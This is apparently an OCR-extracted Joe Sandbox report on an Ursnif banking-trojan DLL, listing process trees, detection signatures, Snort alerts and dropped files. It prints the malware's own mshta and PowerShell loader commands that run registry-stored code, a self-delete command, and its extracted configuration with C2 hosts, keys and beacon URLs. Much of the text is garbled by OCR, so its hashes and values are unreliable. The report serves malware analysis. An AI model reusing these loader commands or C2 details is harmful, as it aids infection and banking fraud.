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Windows Analysis Report

6262961800203.rar

Overview

General Information Detection Signatures Classification

Sample 626a2961800203.rar

Name: (renamed file extension F MALICIOUS 1 Yara detected Ursnif

from rar to dll)

System process connects to networ...

Analysis ID: 617373
Snort IDS alert for network traffic

MDs: d6c8aff647ab919.

SHA1: 71c3d08ba8586.. Found malware configuration

SHA256: de5d66f93a36efl. Malicious sample detected (through...

Tags: m Sigma detected: Windows Shell File...
Maps a DLL or memory area into an...

Infos: fQ 5 b . Sigma detected: Accessing WinAPI...
. Ursnif

Machine Learning detection for sam...

Score: 100

Range: 0-100 Allocates memory in foreign process...
Whitelisted: false Self deletion via cmd delete
Confidence: 100%

Sigma detected: MSHTA Spawning ...

= System is w10x64
o [ loaddli32.exe (PID: 6352 cmdline: loaddll32.exe "C:\Users\user\Desktop\626a961800203.dlI" MD5: 7DEB5DB86COAC789123DEC286286B938)
@l cmd.exe (PID: 6368 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\626a961800203.dII" #1 MDS5: F3BDBE3BB6F734E357235F4D5898582D)
. D rundll32.exe (PID: 6388 cmdline: rundll32.exe "C:\Users\user\Desktop\626a961800203.dll",#1 MD5: D7CA562B0DB4F4DDOF03A89A1FDAD6G3D)
control.exe (PID: 2300 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
e [ rundli32.exe (PID: 1408 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
. mshta.exe (PID: 6228 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qbwe="wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qbwe).reg
read("HKCU\\Software\\AppDataLow\\Software\\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE\\\TestLocal'));if('window.flag)close()</script> MD5:

197FC97C6A843BEBB445C1D9C58DCBDB)

o E¥ powershell.exe (PID: 6648 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name elhthuju -value gp; new-alias -name fwiwawp -value
iex; fwiwawp ([System.Text.Encoding]::ASCII.GetString((elhthuju "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE").UrlsReturn))
MD5: 95000560239032BC68B4C2FDFCDEF913)

. conhost.exe (PID: 6636 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ csc.exe (PID: 6460 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @" C:\Users\usen\AppData\Local\Temp\boqgffzj\boqgffzj
.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)

e [ cvires.exe (PID: 488 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user
\AppData\Loca\Temp\RESAFF5.tmp" "c:\Users\user\AppData\Local\Temp\boqgffz\CSC6A71A2D878D54201A284CABB415B85EF. TMP" MD5:
33BB8BEOB4F547324D93D5D2725CAC3D)

e [ csc.exe (PID: 3724 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @" C:\Users\user\AppData\Local\Temp\yb3geOm
0\yb3geOmO.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)

e [ cvtres.exe (PID: 2980 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user
\AppData\Loca\Temp\RESCOEC.tmp" "c:\Users\user\AppData\Local\Temp\yb3geOmO\CSCCD644729527F4748ACD06F6743FBF148. TMP" MD5:
33BB8BE0OB4F547324D93D5D2725CAC3D)

o [ explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOE1D)

. cmd.exe (PID: 3684 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\626a961800203.dIl MD5:
AE2ACFAF8A396486AB4268C94A6A245F)

. conhost.exe (PID: 6796 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ PING.EXE (PID: 6784 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)

. ! RuntimeBroker.exe (PID: 4440 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0EOD52DACS)

. cmd.exe (PID: 1300 cmdline: cmd /C "nslookup myip.opendns.com resolverl.opendns.com > C:\Users\user\AppData\Local\Temp\92B2.bi1" MD5:
AE2ACFAF8A396486AB4268C94A6A245F)

. conhost.exe (PID: 1048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

.

= cleanup
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Malware Configuration
Threatname: Ursnif

b
"RSA Public Key":

"+FflIsIAzGiUMOs27tul bRAWZqYoqmNs TeF7rxG/Mwp38QgxThLLXpreOfEHBIt0Jka6enf+5fp9f TOwIfjoNQYondBMgOCXVUaaXZmXPw7dFUCTuwl/1fI8Te0@BD04/e@D+MT+n60vzq2MwCzSIm7W4Z1EEkdm6OWNeCsFwnx1f78Cv
9j4wvInL P3bFRx90kdD66cn4ATspOwUL yGpOt ly6udj4gNSoIxbBBQeCFBEVhnGZ/KZ3/SbtIUI3X757TgS02V8uV2DI1dCmSy1UGDY lgn9Cs1EUM4RQgf1fFSmTn7kcnOpsq0753wd2/m9Ibas3/WEwOA88vTsSUvhPp7zr8Lt19tao4

hrivcTrul8=",
"c2_domain": [
"config.edge. skype.com",
"cabrioxmdes.at"”,
"hopexmder .net",
"94.140.114.144",
"94.1460.112.49",
"94.1460.112.121"
1,
"ip_check_url": [
"http://ipinfo.io/ip",
"http://curlmyip.net"
1,
"serpent_key": "JviGYc8A8hCBIeVD",
"tor32_dll": "file://c:||test||test32.dl1l",
"tor64_dll": "file://c:||test||tor64.dll",

"movie_capture": "30, 8, calc no*ad *terminal* *debug*",
"server": "50",

"sleep_time": "1",
"SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60",
"time_value": "60",

"SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60",
"SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300",
"SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60",
"not_use(CRC_BCTIMEOUT)": "10",

"botnet": "3000",

"SetWaitableTimer_value": "1"

Yara Signatures

Memory Dumps

Source

00000027.00000000.802429356.000001F9BBE30000.00000
040.80000000.00040000.00000000.sdmp

00000002.00000003.269094319.0000000005748000.00000
004.00000020.00020000.00000000.sdmp

00000002.00000003.317079618.0000000005748000.00000
004.00000020.00020000.00000000.sdmp

0000001A.00000000.384032438.0000000000BF0000.00000
040.80000000.00040000.00000000.sdmp

00000002.00000002.435982422.00000000053CF000.00000
004.00000020.00020000.00000000.sdmp

Unpacked PEs

Source

2.3.rundlI32.exe.50194a0.10.raw.unpack
2.2.rundlI32.exe.5110000.0.unpack
2.3.rundll32.exe.50194a0.10.unpack
2.3.rundlI32.exe.564a4a0.0.raw.unpack

2.3.rundlI32.exe.564a4a0.0.unpack

Copyright Joe Security LLC 2022

Rule Description Author
JoeSecurity_Ursnif Yara detected Joe Security
1 Ursnif
JoeSecurity_Ursnif Yara detected Joe Security
Ursnif
JoeSecurity_Ursnif Yara detected Joe Security
Ursnif
JoeSecurity_Ursnif Yara detected Joe Security
1 Ursnif
JoeSecurity_Ursnif Yara detected Joe Security
1 Ursnif

Click to see the 25 entries

Rule Description Author

JoeSecurity_Ursnif Yara detected Joe Security

21 Ursnif

JoeSecurity_Ursnif Yara detected Joe Security

21 Ursnif

JoeSecurity_Ursnif Yara detected Joe Security

21 Ursnif

JoeSecurity_Ursnif Yara detected Joe Security

21 Ursnif

JoeSecurity_Ursnif Yara detected Joe Security
1 Ursnif

Click to see the 2 entries

Strings

Strings
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Sigma Signatures

System Summary

Sigma detected: Windows Shell File Write to Suspicious Folder
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Sigma detected: MSHTA Spawning Windows Shell

Sigma detected: Suspicious Call by Ordinal

Sigma detected: Suspicious Remote Thread Created

Sigma detected: Mshta Spawning Windows Shell

Snort Signatures

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 94.140.115.8 -—
Timestamp: 04/28/22-15:36:09.408600 04/28/22-15:36:09.408600

SID: 2033203

Source Port: 49763

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 94.140.115.8 —
Timestamp: 04/28/22-15:36:11.602821 04/28/22-15:36:11.602821

SID: 2033203

Source Port: 49763

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 13.107.42.16 —
Timestamp: 04/28/22-15:35:48.541659 04/28/22-15:35:48.541659

SID: 2033203

Source Port: 49760

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 94.140.115.8 -—
Timestamp: 04/28/22-15:36:10.453628 04/28/22-15:36:10.453628

SID: 2033203

Source Port: 49763

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Joe Sandbox Signatures

AV Detection
Found malware configuration

Machine Learning detection for sample
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Networking

System process connects to network (likely due to code injection or exploit)

Snort IDS alert for network traffic

Uses ping.exe to check the status of other devices and networks

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Ursnif

E-Banking Fraud

Yara detected Ursnif

Disables SPDY (HTTP compression, likely to perform web injects)

System Summary

Malicious sample detected (through community Yara rule)

Writes registry values via WMI

Hooking and other Techniques for Hiding and Protection

Yara detected Ursnif

Self deletion via cmd delete

Malware Analysis System Evasion

Uses ping.exe to sleep

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)
Maps a DLL or memory area into another process

Allocates memory in foreign processes

Creates a thread in another existing process (thread injection)

Writes to foreign memory regions

Changes memory attributes in foreign processes to executable or writable
Injects code into the Windows Explorer (explorer.exe)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information

Yara detected Ursnif

Remote Access Functionality

Yara detected Ursnif

Mitre Att&ck Matrix
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

6262961800203.dll

Dropped Files

©@ No Antivirus matches

Unpacked PE Files

Source

2.2.rundlI32.exe.5110000.0.unpack

Domains

@ No Antivirus matches

URLs

Source

hitp:// https:/ffile://USER.ID%lu.exe/upd

Copyright Joe Security LLC 2022

Detection
100%
Detection Scanner
100% Avira
Detection

0%

Scanner Label

Joe Sandbox ML

Label Link

HEUR/AGEN.12
45293

Scanner Label

Avira URL Cloud safe

Link

Download

Download File

Link
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Source Detection Scanner Label Link

http:ffconstitution.org/usdeclar.txt 0% URL Reputation safe
http:// pesterbdd.com/images/Pester.png 0% URL Reputation safe
http:/f 0% Avira URL Cloud safe
94.140.115.8/drew/LzZSDOtVM_2BsonXWK/DxGr8_2Fs/ptvwg5b1i5bmL0teUgxQ/90_2BYDNRVVPoQo

xMtw/Bldfm

http:/f 0% Avira URL Cloud safe

94.140.115.8/drew/LzZSDOtVM_2BsonXWK/DxGr8_2Fs/ptvwg5b1i5bmL0teUgxQ/90_2BYDNRVVPoQo
XMtW/BIdfmFoOukzJeDObjwSUDY/Hth97x6cm9qTp/tEKEvVLIP/nOHksQRnfyb9faVg3lqt7w_/2FGj3GkMd
b/gW3IDpUUGBUJIpLQKT/d_2FWch36CgQ/Ms7kI6_2FQw/_2FYis_2FJuf4b/1W5qGDemarWZETpD245uj
/A3G16gP5qOjvKH3G/w5_2BVLbj8z6ts/CLUIAKAVGNKYZIEBPz/XZOKbINF.jlk

http:// 0% AviraURL Cloud  safe
94.140.115.8/drew/6wy5UyOmrJ6HQIq62A/VkrnX6r04/0fFrbY MADFb5wAzrw_2B/FNzZEWhK2WSNEES1
GIZVI7J75XXRSaKXIPINEWRIx2d/cgL4K_2BZrlIVj/9osxFaDv/LcObZAFyY2PSeXZy5ftLnD9/al2n0BaRS9
/SY2dQ9Im8xRHbivY38/0pCnmgy_2Bef/l4rMGbb_2B_/2B4wOAfPWShYFd/4cpEVVLZL_2FDyp7NTbNc/
rNxuOulTLsW428a0/71RUURUKbVQL7Cx/eCGP96f5gt/RxWMg4kdm/g.jlk

http:// 0% AviraURL Cloud  safe
94.140.115.8/drew/Gv5Z0BH7gi4l/Xtbvn5vUJ8S/xOKV3qdD_2FR7k/HBHojg_2BImMCG6h9pQAWJI/OLNL
YJIFkOIbmlfx/XLBPPT0798kTGWF/uarevgL_2FqMg6GmJ9/Ff_2BWijst/_2BcRA9bYxr5hTBTuFyb/8zAP
HcBPMbLfJI2Crow/FreBIXIshr_2FnJ_2FgWzv/h4GyHVjgDhcnY/ozdl4s6t/aG5qJQUNKTWUqUa97JxeXE
E/NVACNuvvBIwW/ItFngFPJIKxxgxJOIb/WVUcVG1SDD9B/T_2BjHrCIGz/H.jlk

http:ffconstitution.org/usdeclar.txtC: 0% URL Reputation safe
http:/f 0% Avira URL Cloud safe
94.140.115.8/drew/6wy5UyOmrJ6HQIq62A/VkrX6r04/0fFrbY M4DFh5wAzrw_2B/FNZEWhK2WSNEE81

GIZVITI75X

Domains and IPs

Contacted Domains

@ No contacted domains info

Contacted URLs
Name Malicious Antivirus Detection Reputation
http:// true e Avira URL Cloud: safe unknown

94.140.115.8/drew/LzZSDOtVM_2BsonXWK/DxGr8_2Fs/ptvwg5b1i5bmL0teUgxQ/90_2BYDNRVVPo
QoxMtW/BldfmFoOukzJeDObjwSUDY/Htb97x6cm9qTp/tEKEVLIP/nOHksQRnfyb9faVa3lgt7w_/2FGj3
GkMdb/gW3IDpUUG8UJIpLQKT/d_2FWch36CgQ/Ms7kl6_2FQw/_2FYis_2FJuf4b/IW5qGDemarWzZ

ETpD245uj/A3G16gP5q0OjvKH3G/v5_2BVLbj8z6ts/CLUIAk4VGnKgZIEBPZz/XZOKbINF.jlk

http:// true e Avira URL Cloud: safe unknown
94.140.115.8/drew/6wy5UyOmrJ6HQIq62A/VkrnX6r04/0fFrbYM4DFb5wAzrw_2B/FNzZEWhK2WSNE
E81GIZV/7J75XXRSaKXIPINEWRIx2d/cgL4K_2BZrlVj/9osxFaDv/LcObZAFyY2PSeXZy5ftLnD9/al2n
0BaRS9/SY2dQ9Im8xRHbivY38/0pCnmgy_2Bef/l4arMGbb_2B_/2B4AWOAfPWShYFd/4cpEVVLZL_2F
Dyp7NTbNc/rNxuOulTLsW428a0/71RUURUKbVQL7Cx/eCGP96f5gt/RxWMg4kdm/g.jlk

http:// true e Avira URL Cloud: safe unknown
94.140.115.8/drew/Gv5Z0BH7gi4l/Xtbvn5vUJIBS/xOKV3qdD_2FR7k/HBHojg_2BImCG6h9pQAWJI/O
LNLYJIFkOIbmIfx/XLBPPT0o798kTGWF/uarevgl_2FgMg6GmJ9/Ff_2BWijst/_2BcRA9bYxr5hTBTuFy
b/8zAPHcBPMbL{JI2Crow/FreBIXIshr_2FnJ_2FgWzv/h4GyHVjgDhcnY/ozdl4s6t/aG5qJQUNKTWUq
Ua97JIxeXEE/VACNuvvBIW/ItFngFPJIKxxgxJOIb/WVUcVG1SDDIB/T_2BjHrCIGz/H.jlk

URLs from Memory and Binaries

Name Source Malicious  Antivirus Detection Reputation

http://https://file://USER.ID%lu.exe/upd rundll32.exe, 00000002.00000003.37306304 false e Avira URL Cloud: safe low
6.0000000006568000.00000004.00000020.000
20000.00000000.sdmp, powershell.exe, 000
00014.00000003.381047815.000002C95DADC00
0.00000004.00000020.00020000.00000000.sdmp,
control.exe, 0000001A.00000003.385142390.00000
22D60C0C000.00000004.00000020.00020000.0
0000000.sdmp, control.exe, 0000001A.0000
0003.385040774.0000022D60C0OC000.00000004
.00000020.00020000.00000000.sdmp

http:// constitution.org/usdeclar. txt rundlI32.exe, 00000002.00000003.37306304 false e URL Reputation: safe unknown
6.0000000006568000.00000004.00000020.000
20000.00000000.sdmp, powershell.exe, 000
00014.00000003.381047815.000002C95DADC00
0.00000004.00000020.00020000.00000000.sdmp,
control.exe, 0000001A.00000003.385142390.00000
22D60C0C000.00000004.00000020.00020000.0
0000000.sdmp, control.exe, 0000001A.0000
0003.385040774.0000022D60C0OC000.00000004
.00000020.00020000.00000000.sdmp
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Name

hitp:/fpesterbdd.com/images/Pester.png

http:ff
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

hitp:/fwww.apache.org/licenses/LICENSE-2.0.html

http:ff
94.140.115.8/drew/LzZSDOtVM_2BsonXWK/DxGr8_2
Fs/ptvwg5b1i5bmL0OteUgxQ/90_2BYDNRVVPoQoxMt
Wi/BIdfm

hitp:// https://github.com/Pester/Pester

http:// constitution.org/usdeclar.txtC:

http:/f
94.140.115.8/drew/6wy5UyOmrJ6HQIq62A/VkrnX6r04/
OfFrbYM4DFb5wAzrw_2B/FNzZEWhK2WSNEE81GIZV
[7375X

World Map of Contacted IPs

[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
B 75% <No. of IPs

Public IPs
P Domain
94.140.115.8 unknown

General Information

Joe Sandbox Version:

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

powershell.exe, 00000014.00000002.619205 false
713.000002C944F9F000.00000004.00000800.0
0020000.00000000.sdmp

e URL Reputation: safe

powershell.exe, 00000014.00000002.619004 false
491.000002C944D91000.00000004.00000800.0
0020000.00000000.sdmp

powershell.exe, 00000014.00000002.619205 false
713.000002C944F9F000.00000004.00000800.0
0020000.00000000.sdmp

rundlI32.exe, 00000002.00000003.32835543 false e Avira URL Cloud: safe
6.0000000003199000.00000004.00000020.000

20000.00000000.sdmp

powershell.exe, 00000014.00000002.619205 false
713.000002C944F9F000.00000004.00000800.0
0020000.00000000.sdmp

rundll32.exe, 00000002.00000003.37306304 false
6.0000000006568000.00000004.00000020.000
20000.00000000.sdmp, powershell.exe, 000
00014.00000003.381047815.000002C95DADC00
0.00000004.00000020.00020000.00000000.sdmp,
control.exe, 0000001A.00000003.385142390.00000
22D60C0C000.00000004.00000020.00020000.0
0000000.sdmp, control.exe, 0000001A.0000
0003.385040774.0000022D60C0OC000.00000004
.00000020.00020000.00000000.sdmp

e URL Reputation: safe

e Avira URL Cloud: safe

rundll32.exe, 00000002.00000003.32835543 false
6.0000000003199000.00000004.00000020.000
20000.00000000.sdmp

Country Flag ASN

Latvia

34.0.0 Boulder Opal

ASN Name

43513 NANO-ASLV

Reputation

unknown

high

high

unknown

high

unknown

unknown

Malicious

true
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Analysis ID: 617373

Start date and time: 28/04/202215:34:28 2022-04-28 15:34:28 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 12m 29s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: 626a961800203.rar (renamed file extension from rar to dll)
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 43
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 2
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.bank.troj.evad.winDLL@28/17@0/1
EGA Information: e Successful, ratio: 50%

HDC Information:

.

Successful, ratio: 20.5% (good quality ratio 19.6%)
Quality average: 82.1%
Quality standard deviation: 27%

.

.

HCA Information:

.

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

o

.

Cookbook Comments:

.

Adjust boot time
Enable AMSI
Override analysis time to 240s for rundlI32

.

.

Warnings

e Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.e xe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe,
svchost.exe, wuapihost.exe

e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted): 13.107.42.16, 23.35.236.56

e Excluded domains from analysis (whitelisted): fs.microsoft.com, config.edge.skype.com.trafficmanager.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard

.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, store-images.s-microsoft.com, login.live.com, I-0007.config.skype.com, config-edge-skype.I-

0007.1-msedge.net, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, 1-0007.l-msedge.net, prod.fs.microsoft.com.akadns.net,

config.edge.skype.com

Execution Graph export aborted for target mshta.exe, PID 622 8 because there are no executed function

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, too many NtQueryValueKey calls found.

Report size getting too big, t oo many NtReadVirtualMemory calls found.

e o o o o o o

Simulations

Behavior and APIs

Time Type Description
15:35:44 API Interceptor 1x Sleep call for process: rundll32.exe modified
15:36:22 API Interceptor 21x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

@ No context
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Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 11606

Entropy (8bit):  4.8910535897909355

Encrypted: false

SSDEEP: 192:P9smn3YrKkkdcU6ChVsm5emlz9smyib4T4YVsm5emdYxoeRKp54ib49VFn3eGOVJ:dMib4T4Y Liib49VoGIpNEKQkj2rikjhQ

MD5: F84F6C99316F038F964F3A6DB900038F

SHA1L: C9AA38EC8188B1C2818DBCODID0A04085285E4F1

SHA-256: F5C3C45DF33298895A61B83FC6E79E12A767A2AE4E06B43C44C93CE18431793E

SHA-512: E5B80F0D754779E6445A14B8D4BA29DD6D0060CD3DA6AFD00416DDC113223DB48900F970F9998B2ABDADA423FBA4F11E9859ABB4E6DBA7FE9S50E7D1D0566
31

Malicious: false

Preview: PSMODULECACHE.....7B\.....C...C:\Program Files\WindowsPowerShel\Modules\Pester\3.4.0\Pester.psmL1........ SafeGetCommand........ Get-ScriptBlockScope....$...Get-D
ictionaryValueFromFirstKeyFound........ New-PesterOption........ Invoke-Pester........ ResolveTestScripts........ Set-ScriptBlockScope................ a...C:\Program Files (x8
6)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........ Unregister-PackageSource........ Save-Package........ Install-Packa
geProvider........ Find-PackageProvider........ Install-Package........ Get-PackageProvider........ Get-Package........ Uninstall-Package........ Set-PackageSource........ Get-P
ackageSource........ Find-Package........ Register-PackageSource........ Import-PackageProvider......... 3......[...C:\Program Files\WindowsPowerShel\Modules\Packa
geManagement\1.0.0.1\PackageManagement.psd1........ Set-PackageSource........ Unregister-PackageSource........ Get-PackageSource........ Install-Package........ Save-

Package........ Get-Package...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 1192

Entropy (8bit):  5.325275554903011

Encrypted: false

SSDEEP: 24:3aEPpQrLA04KAXX5qRPD42HO0Fe9t4CvKuKnKJJIx5:gEPerB4nqRL/HvFe9t4Cv94ar5

MD5: 05CF074042A017A42C1877FC5DB819AB

SHAL: 5AF2016605B06ECEOBFB3916A9480D6042355188

SHA-256: 971C67A02609B2B561618099F48D245EA4EB68ICE6EIF85232158E74269CAA650

SHA-512: 96C1C1624BB50EC8A7222E4DD21877C3F4A4D03ACF15383E9CE41070C194A171B904E3BF568D8B2B7993EADE0259E65ED2E3C109FD062D94839D48DFF04143!
A

Malicious: false

Preview: @..e... @ 8 [PUTON IO0% SR System.Numerics.H....
AL4B. [..{a.C..%6..h.. System.Core.D............... fZve...F.....x.)........System.Management.AutomationL............... 7. d@..oco~ e #.Micro
soft.Management.Infrastructure.<................ H.QN.Y.fo e System.Management...@ Zg5...0..9..q.......
...System.Xml..4............... T.'Z.N.Nvj.G......... System.Data.H.........cccceee e H..m)aUu......... Microsoft.PowerShell.Security...<............... )L..Pz.0.E.R. .System.Tran
sactions.<................ ):gK..G...$.1.q........ System.ConfigurationP................. /.C.J.%..]....... %.Microsoft.PowerShell. Commands.Utility...D.................. -D.F.<;.nt1.... S

ystem.Configuration.Ins
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C:\Users\user\AppData\Local\Temp\RESAFF5.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols
dropped

1328

4.004569426704533

false

24:HRje9E2+f7vDfHIhhKdNWI+ycuZhNJakSXPNnq9qd:b7bdvKd41ulJa3Fq9K
E655BEB80ADI7ED626D857E71D386B60
A786C2FCC3E77FB2145825508B37B17466D1D905
FB97FF6C91BB189C854D620ABE7E2CF2B6FB6154CD2A7A12E634E851915AD21B

531132C345164EF991DC6623B44B705301FC5206BEFA785921CC2FAEC6BOED677E9DB3DBAE3CCD45ADB2C191297743B3C2E205391BD39EEED2E1BA18C8F32
1A

false

Ll @.@........ T....c:\\Users\user\AppData\Local\Temp\boqg
C:\Users\user\AppData\Local\Temp\RESAFF5.tmp.-.< "...Microsoft
JHeLe
S.trin.g.F.ile.l.nfo.. 0
...L.e.g.alC.o.py.rig.ht.. ..

debug$s........ L.... @..B.rsrc$01.
ffzZ)\ CSC6A71A2D878D54201A284CABB415B85EF.TMP.. .
(R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe.

wH.oL4.V.S_V.ERS.ION._LNF.O. ? D VaarnFileldlnfo..$....T.ra.ns.latio.n..
.0.0.0.0.4.b.0.. le.D.es.crip.tio.n.... ..0..FileV.ers.io.n...0..0..0..0..<...lnternalNam.e..b.o.q.g.f.fzj.dlLL
.....0ri.g.i.n.

C:\Users\user\AppData\Local\Temp\RESCOEC.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols
dropped

1328

3.9717803542241024

false

24:H1je9E2+fDPKDfHyhKdNWI+ycuZhNFakSjPNng9qd:PDPQoKd41ulFa3Jq9K
4E319196ACB86E99DIBI7635AA802521
2F551D90630396C3AC8481B591D8D630EIDCE870
E1AF91236ECCB6BD0OB2E31C4A26AF6010D88EAEBB22DAA99CA07DDFALB202FEA

184D2762F261C46330C47D9F3C5CBB344C46613DE92F05C6E3EO08E293CEEBF353C5D48FA38A570DEFSF1AE38FIB56EC1F35030243858DD05CEA144B8BA7078E
E

false

@..@.rsrc$02........ P @..@........ T....c:\Users\user\AppData\Local\Temp\yb3g
IP.L.N.....a........... 4. C:\Users\usen\AppData\Loca\Temp\RESCOEC.tmp.-.<..........c.cc..... *...Microsof
t (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe... O H...
ol HOLLALVS,_VERSION_INF.O. 2 e D...VarFilelnfo..$.. . Translatio.n. S.trin.g.F.ile.lnfo.
.......0.0.0.0.0.4.b.0...,.....F.ileD.escription... ..0...FileV.ers.ion..0..0.0..0.<..lLnternalNam.e..y.b.3.g.e0m.0..dll..(..LegalC.o.p.y.rig.h.
to. D....0.ri.g.i.n.

e0mO\CSCCD644729527F4748ACD06F6743FBF148. TMP..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_grhpvdlu.qdq.psm1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433ED6FA4651
0A

false

1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iappzOmc.xf1.ps1

Process:
File Type:
Category:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped
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Size (bytes): 1
Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:UU

MDS5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

